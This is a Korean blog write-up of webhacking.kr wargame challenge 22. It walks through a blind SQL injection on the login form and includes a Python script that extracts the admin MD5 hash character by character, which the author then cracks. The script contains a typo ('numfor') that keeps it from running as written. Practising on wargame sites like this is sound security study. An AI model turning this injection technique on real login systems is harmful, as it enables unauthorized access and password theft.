WarGame/WebHacking.kr

webhacking.kr 22번

DoR@Hee 2019. 2. 15. 22:43



문제 첫 화면 username , password를 입력하라는 창이 보인다

근데 hint로 로그인을하면 $id 즉 입력한 id가 출력되고

$pw가 출력되며 $id==admin일 경우 문제가 풀리는 거같다. 확인을 위해서 회원가입을 해보도록 한다. 


회원가입 화면



회원가입 완료



회원가입 결과 id와 pw가 나오고 pw는 32bit hash로 암호화 하는거같다.




구글 검색!

구글 검색 결과 md5해쉬값이라는걸 알았고



https://www.hashkiller.co.uk/md5-decrypter.aspx

사이트를 이용 사용자가 적은 값을 찾았다


※md5 hash는 단방향 암호화 방식이기 때문에 복호화가 힘들다.

.




위 결과로 admin으로 로그인을 해야하는것을 알았으니까 admin으로 로그인을 실시 했을 때 로그인이 안된다.

그래서 위와 같이 쿼리 구문을 작성하고 login



Wrong password! 라는 문자열이 출력된다. 



그래서 거짓인 값을 작성하고 login



참, 거짓 출력하는 결과물이 서로 다르기 때문에 sql을 이용해서 풀이하면 될거같다.



해당 length에 pw를 넣은 이유는

<input name="pw" type="password">이기 때문이고 

결과는




결과론 적으로 md5로 암호화를 실시하고있기때문에 32자리라는걸 유추 할 수 있었다.



파이썬 소스(감사합니다)

import urllib.request
import http.client
import re
import requests
 
if __name__=="__main__":
     
    pw =""
    md5 = [numfor num in range(48,58)]+[numfor num in range(97,104)]
 
    for i in range(1,33):
        for j in md5:
            data = {"uuid":"admin' and ord(substr(pw,"+str(i)+",1))="+str(j)+"#"}
            data = urllib.parse.urlencode(data)
            header = {"Content-type":"application/x-www-form-urlencoded","Accept":"text/plain","Cookie":"PHPSESSID=d1d37a2276fa84c7241e5368ca19011b"}
            connection = http.client.HTTPConnection("webhacking.kr")
            connection.request("POST","/challenge/bonus/bonus-2/index.php",data,header)
            response = connection.getresponse()
            read = response.read()
            read =read.decode('utf-8')
 
            find = re.findall("Wrong password!",read)
            if find:
                print(chr(j),end='')
                break



출처: https://lidron.tistory.com/97 [이프이푸이푸]


를 실행한 결과



2a93a7cea083c6e9e02c97ec5a5d715a MD5 : rainbowzombie

결과  zombie는 db에 값이 들어가면서 추가된 문자열 이므로 비밀번호는 rainbow